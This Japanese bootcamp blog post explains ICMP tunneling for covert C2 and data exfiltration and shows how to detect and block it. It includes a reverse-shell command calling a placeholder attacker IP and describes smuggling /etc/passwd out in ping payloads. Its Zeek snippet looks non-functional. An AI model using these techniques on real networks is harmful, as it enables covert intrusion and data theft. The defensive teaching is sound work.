8200 サイバーブートキャンプ
なぜ私たちを選ぶのかシラバス対象者詳細カリキュラム料金よくある質問ブログ今すぐ登録
8200 サイバーブートキャンプ
なぜ私たちを選ぶのかシラバス対象者詳細カリキュラム料金よくある質問ブログ
今すぐ登録

Select Language

© 2026 8200 サイバーブートキャンプ

8200 サイバーブートキャンプ

イスラエル8200部隊に触発された実践重視のエリートサイバーセキュリティトレーニング。

クイックリンク

  • ホーム
  • シラバス
  • 詳細カリキュラム
  • 料金
  • FAQ

お問い合わせ

ソーシャルメディアでフォロー

© 2026 8200 サイバーブートキャンプ. All rights reserved.

ICMPトンネリングとは何か、およびその防御方法

ICMPトンネリングとは何か、およびその防御方法

8/24/2026
ICMPトンネリングは、攻撃者が悪意のあるコマンドを送信したり、データをネットワーク防御をすり抜けて持ち出したりするために、pingなどのICMPトラフィック内に隠すステルス技術です。その仕組み、なぜ効果的なのか、そしてこれらの隠れた脅威からネットワークを検出し防御する方法について学びましょう。

ICMPトンネリングとは何か、そしてそれに対する防御策

ICMPトンネリング入門

ICMPトンネリング、時には「隠密なpingベースの攻撃」とも呼ばれるものは、悪意のある攻撃者が指令・制御(C2)トラフィックやデータの不正流出を、通常は無害なインターネット制御メッセージプロトコル(ICMP)パケットに隠すことで行うネットワーク攻撃技術です。ICMPは、通常「ping」リクエストとして知られ、ファイアウォールや侵入検知システムの目をかいくぐりやすいため、ITセキュリティチームにとって大きな課題となっています。

このガイドでは、ICMPトンネリングとは何か、攻撃者がどのようにそれを実装するのか、それがなぜ回避方法として魅力的なのか、そして最も重要なこととして、セキュリティ専門家やネットワーク管理者がどのようにICMPトンネル攻撃を検出し、防御することができるのかについて説明します。初心者向けの説明から応用的な検出方法まで、実際の例やコードサンプルを用いてネットワークトラフィックのスキャン、モニタリング、および解析方法を示します。


目次

  • ICMPとは何か? 基本知識
  • ICMPトンネリングとは何か?
  • ICMPトンネリングはどのように機能するか?
  • 攻撃者がICMPトンネルを使用する理由
  • ICMPトンネル攻撃の実例
  • ICMPトンネリングの実際の検出方法
  • ICMPトンネルアクティビティのスキャン
  • ICMPトンネリングに対する防御策
  • 高度な軽減策:ステートレス検出モデル
  • 結論
  • 参考資料

ICMPとは何か? 基本知識

インターネット制御メッセージプロトコル(ICMP)は、インターネットプロトコル・スイートの基本的な部分です。エラーメッセージ、ネットワーク診断、ステータスメッセージ用に設計されています。

主要な事実:

  • ICMPはレイヤー3: IPの上に位置するネットワーク層です。
  • 一般的なメッセージ: Echo Request と Echo Reply(ping)、Destination Unreachable、Time Exceededなどがあります。
  • 典型的な用途: ネットワークのトラブルシューティング(例: ping、traceroute)、ネットワークデバイス間のエラーレポート。

例: 基本的なICMPトラフィック

次のコマンドを発行すると:

ping google.com

あなたのコンピュータは一連のICMP Echo Requestパケットを生成し、Googleがpingを許可している場合はICMP Echo Replyパケットで応答します。


ICMPトンネリングとは何か?

ICMPトンネリングとは、任意のペイロードデータをICMPパケット内にカプセル化する技術です。これには、流出するファイル、シェルコマンド、さらには完全なTCP接続など、通常のpingリクエストや返信に隠されたデータが含まれます。

組織では通常、ICMPトラフィックを正当なトラブルシューティングのために境界ファイアウォールを通過させることが多いため、攻撃者はこの信頼を利用して隠されたデータを渡したり、ネットワークにバックドアを作成したりします。

定義:

ICMPトンネリングとは、攻撃者がICMPパケット内に悪意のあるまたは不正なデータをエンコードしてネットワークアクセス制御を回避する隠密な通信方法です。


ICMPトンネリングはどのように機能するか?

ICMPトンネリングは、特にEcho Request/ReplyのICMPパケットの構造を利用して、追加の隠されたデータを運びます。

ICMPパケットの解剖

  • 種類、コード: ICMPメッセージを指定(例: 8 = Echo Request、0 = Echo Reply)
  • チェックサム: エラーチェック用
  • 識別子とシーケンス番号: 追跡用
  • データ: オプションフィールドで、攻撃者が隠密データを運ぶのに使用

ステップバイステップのトンネリングプロセス

  1. 攻撃者がホストを攻撃: ターゲットのネットワーク内デバイスにアクセスを取得。
  2. ICMPトンネルクライアントを起動: クライアントがコマンドまたはデータをICMP Echoパケットにエンコード—icmpsh、ptunnel、カスタムスクリプトなどのツールを使用することが多い。
  3. ICMPパケットがC2サーバーに送信: ファイアウォール外の攻撃者のサーバーが受信パケットをデコードしてペイロードを解析。
  4. 返信がエンコード: リモートサーバーがICMP Echo Replyパケット内に指示や応答を隠して送信。
  5. ファイアウォールバイパス: トラフィックが通常のping活動に見えるため、検査をスキップされ、デフォルトでネットワーク規則で許可されることが多い。

例: ICMPトンネルパケット

通常のICMP Echo Requestパケットが次のように見えることがあります:

フィールド 例の値
タイプ 8 (Echo Request)
コード 0
チェックサム 6920
識別子 13
シーケンス番号 250
データ "Hello, world!"

ICMPトンネリング攻撃は、"Data"セクションにBase64エンコードされた流出データを配置するかもしれません。


攻撃者がICMPトンネルを使用する理由

境界セキュリティの回避

通常、ファイアウォールは外部からの直接接続(例: 着信SSH、HTTP/Sによるデータ流出)をブロックします。しかし、ICMPはネットワークトラブルシューティングを可能にするためにホワイトリスト化されることが多く、国際的な制約を超えても利用可能です。

C2(指令と制御)

高度持続的脅威(APT)アクターは、ICMPトンネルを使用して侵害されたホストを管理し、コマンドを送信し、ファイルを抽出します。これにより、通常のネットワークアラートを引き起こすことなく実行できます。

回避技術

  • ペイロードの分割: データを小さなICMPフラグメントに分割。
  • 暗号化: エンコード(Base64、XOR)または暗号化でペイロードを隠蔽。
  • 通常のトラフィックを模倣: 正当なリクエストに応答するか、通常のインターバルでICMPパケットを生成。

ICMPトンネリングのツール

オープンソースの攻撃的セキュリティツールの中にはICMPトンネリングをサポートするものもあります:

  • icmpsh: ICMP経由のリバースシェル。
  • ptunnel: ICMP上でのTCP接続トンネリング。
  • Hans: ICMPを含むTCPトンネリング。
  • カスタムスクリプト: 多くの攻撃者は署名ベースの検出を回避するためにカスタムツールを開発します。

ICMPトンネル攻撃の実例

例1: データ流出

内部脅威またはワークステーション上のマルウェアが組織外に機密ファイルを密輸出したいと考えています。

ステップ:

  1. 侵害されたホストが攻撃者のC2にICMPトンネルクライアントを使用して接続します。
  2. ファイル(例: /etc/passwd)が分割され、エンコードされ、複数のEcho Requestに隠されます。
  3. 攻撃者のリモートサーバーがパケットを収集し、盗まれたファイルを再構成します。

例2: ICMP経由のリモートシェル

ペネトレーションテスターや攻撃者がicmpshのようなツールを展開:

  • 内部ホストがicmpsh -t <attacker_ip>を起動します。
  • (ネットワーク外の)攻撃者のサーバーがICMP Echo Requestをリスニングし、デコードし、Echo Replyによってシェルレスポンスを返します。
  • 危険な外部ポートを開くことなく双方向のシェル通信が確立されます。

ケーススタディ: 野生のICMPトンネル

APTやマルウェア(特にBackdoor.Win32.ICMPdoorに代表される)が、高いセキュリティ環境でしばしばICMPトンネリングを利用して永続的なアクセスを得ているという報告があります。その他のアウトバウンドがHTTP/HTTPSとICMPのみが許可されている場合に限ります。


ICMPトンネリングの実際の検出方法

ICMPトンネリングの検出は、異常なパターンの特定やICMPパケットのペイロードの検査に依存します。

監視すべきもの

  • 異常なICMPパケットサイズ: 通常のpingペイロードは32–56バイトです。データ流出にはもっと大きなサイズが必要です。
  • 高いボリューム/頻度: 希少な外部アドレスへの過度または規則的なICMP Echoリクエスト。
  • ペイロード内の大きなまたは印刷不可能なデータ: 単純なテストテキストではなくエンコード/暗号化された文字列。
  • 予期しないエンドポイント: 内部ホストが疑わしいパブリックIPに「ping」を送信する場合。

ICMPトラフィック分析のためのツール

tcpdump

ICMPトラフィックを検査するのにしばしば使用されるパケットキャプチャツール。

# すべてのICMPトラフィックをキャプチャ、詳細な出力
sudo tcpdump -n -v icmp

疑わしい出力のサンプル(切り取られた):

IP 10.10.10.5 > 203.0.113.10: ICMP echo request, id 4567, seq 3344, length 1024

注意: 1024バイトは通常のping ICMPペイロードよりもかなり大きいです!

Wireshark

グラフィカルなパケットアナライザ。

  1. トラフィックをフィルタ: icmp
  2. 大きな/奇妙なペイロードを持つEchoパケットを探し、右クリックして「ICMPストリームをフォロー」してコンテンツを見る。
Zeek(旧Bro)

ICMPスクリプトを内蔵した強力なネットワークセキュリティモニタリングツール。

異常なICMPペイロードをログに記録するスクリプト:

event icmp_message(c: connection, icmp: icmp_hdr)
    {
    if ( c$id$orig_h !in Site::internal_networks )
        {
        # 大きなペイロードをログまたはアラート
        if ( c$payload && |c$payload| > 500 )
            local alert = fmt("Large ICMP payload from %s to %s", c$id$orig_h, c$id$resp_h);
        }
    }
Linuxコマンドライン(Bash/Python)

Bash例: すべてのアウトバウンドpingペイロードをログ

sudo tcpdump -nn -X icmp and host 203.0.113.10 | grep -A 10 "ICMP"

Python例: 異常なICMPペイロードを見つけるためのpcap解析

from scapy.all import *

def scan_icmp_pcap(pcap_file):
    packets = rdpcap(pcap_file)
    for pkt in packets:
        if pkt.haslayer(ICMP):
            if len(pkt[ICMP].payload) > 100:
                print(f"Suspicious ICMP from {pkt[IP].src} to {pkt[IP].dst}: {bytes(pkt[ICMP].payload)[:30]}...")

scan_icmp_pcap('capture.pcap')

ICMPトンネルアクティビティのスキャン

ICMPトンネルの悪用を積極的に発見するには、定期的なスキャンと異常検出が重要です。

ステップ1: ICMP使用のベースライン

  • 通常のICMPトラフィックを監視:ボリューム、宛先、パケットサイズ。
  • 典型的な内部および外部エンドポイントを特定。

ステップ2: 異常の分析

ELKスタック、Zeek、Wiresharkのようなツールを使用して:

  • 異常に大きいまたは頻繁なICMPパケットにアラートを発行。
  • 知名度のある脅威インテリジェンスを使用してICMPの送信元/送信先を相関。

ステップ3: Linux/Unixでのスキャン

リアルタイムで最大のICMPパケットを見つける:

sudo tcpdump -ni eth0 icmp and greater 200

ダンプからのパケットサイズリスト:

sudo tcpdump -nn -r capture.pcap icmp | awk '{print $NF}' | sort | uniq -c | sort -nr

ステップ4: 自動化されたスクリプト

Python Scapy: 大きなペイロードを持つEchoリクエストを報告

from scapy.all import *

def detect_large_icmp(pcap_file):
    for pkt in rdpcap(pcap_file):
        if pkt.haslayer(ICMP) and pkt[ICMP].type == 8:
            if len(pkt[ICMP].payload) > 200:
                print(f"Large ICMP Echo Request: {pkt[IP].src} -> {pkt[IP].dst}, size={len(pkt[ICMP].payload)}")
detect_large_icmp("icmp_traf.pcap")

ICMPトンネリングに対する防御策

1. ICMPトラフィックを制限

  • ファイアウォールポリシー: 外部のICMPをブロックするか、既知の管理ステーションに制限します。もし必要であれば、Echo Request/Replyだけを許可します。
  • エグレスフィルタリング: 信頼されたケース以外は、内部ホストが外部アドレスにICMPを送れないようにします。

例: iptablesで外向きICMPをブロック

sudo iptables -A OUTPUT -p icmp --icmp-type echo-request -j DROP

2. ICMPペイロードを検査

  • ICMPトンネリングシグネチャや異常なペイロードルールを持つIDS/IPSソリューション(Snort、Suricataなど)を導入。
  • ペイロードサイズ、頻度、宛先を監視。

Snortルールの例:

alert icmp any any -> any any (msg:"Suspicious ICMP Payload Size"; dsize:>200; sid:1000001; rev:1;)

3. ログとアラートの設定

  • 特に大きなまたは奇妙なペイロードを持つすべてのICMPトラフィックをログ記録。
  • 異常に対してSIEMアラートを設定。

4. ユーザー教育と最小権限

  • 一般ユーザーや侵害されたワークステーションが外部ホストにICMPを生成できないようにする。
  • 必要なデバイス以外での外向きICMPを無効にする。

5. 高度な脅威検出

  • 機械学習/ヒューリスティック(Zeek/Suricata統合を参照)を使用して、既知のICMPトンネリングツールに一致するトラフィックパターンをフラグする。
  • 定期的にエンドポイント/ネットワークログを確認する。

6. パッチとメンテナンス

  • ネットワークデバイスやソフトウェアを更新してICMP取り扱いの脆弱性を修正する。
  • 現行の攻撃ツールやシグネチャについて情報を得る。

高度な軽減策: ステートレス検出モデル

ステートレスモニタリング—ICMPパケットのフローとサイズを追跡し、その状態やシーケンスだけでなく、個々のパケットで異常を検出する方法—が低影響でスケーラブルなトンネリングの検出手段として研究されています。

ステートレス検出の原則

  • 各パケットを独立して見る: 個々のICMPパケットサイズと頻度に基づいて不審なパターンを検出。
  • セッショントラッキングは不要: ファイアウォール/ルーターにとってリソース負担が少ない。
  • 閾値に対する自動アラート: 例: 500バイトを超えるすべてのICMP Echoパケットをフラグ。

パフォーマンスへの影響

Singh & Nordströmによると、ステートレスモデルは、エンドホストやルーターに対して大規模でも有効に覆面チャネルをフラグし、ネットワーク性能に大きな影響を及ぼさないことが示されています。


結論

ICMPトンネリングは、正当なネットワーク活動として溶け込むゆっくりとした脅威を表しており、ブルーチームにとっては検出や防御が難しいです。ICMPの診断での広範な使用と、多くの組織がそのようなトラフィックをファイアウォールで許可している頻度を考えると、攻撃者にとって隠密な指令制御、機密データの流出、または侵害されたホストへのアクセスを確立するための好ましい手段となっています。

主要なポイント

  • ICMPトンネリングは信頼されたプロトコルを利用して隠密な通信を行います。
  • 高度な攻撃者は、それをC2およびデータ流出に活用します。
  • 検出には、異常なICMPパケットサイズ、頻度、宛先の監視が必要です。
  • 防御は強力なエグレスフィルタリング、ICMP制限、ペイロード解析、および自動ログ記録/アラートの組み合わせです。
  • ステートレス検出モデルは、ネットワーク性能を悪化させずにスケーラブルな防御を可能にします。

組織の正当なICMP活動を基準にして、署名検知と異常検知の両方を適用することで、この隠密な脅威ベクトルをデータの損失やさらなる侵害が発生する前に無力化することができます。


参考資料

  • Detect and Stop ICMP Tunneling – ExtraHop Blog
  • What is ICMP Tunneling? – DeepStrike
  • Malicious ICMP Tunneling: Defense against the Vulnerability – Semantic Scholar
  • ICMP Tunnels and Covert Channels – PacketLife.net
  • icmpsh project – Github
  • Ping Tunnel (ptunnel)
  • Snort – Network Intrusion Detection System
  • Wireshark – Network Protocol Analyzer
  • Zeek – Network Security Monitor

あなたの周囲を安全にし、質素なpingを無視しないでください!

🚀 レベルアップの準備はできていますか?

サイバーセキュリティのキャリアを次のレベルへ

このコンテンツが価値あるものだと感じたなら、私たちの包括的な47週間のエリートトレーニングプログラムで何が達成できるか想像してみてください。ユニット8200の技術でキャリアを transformed した1,200人以上の学生に参加しましょう。

フルプログラムに登録カリキュラムを見る
97%の就職率
エリートユニット8200の技術
42の実践ラボ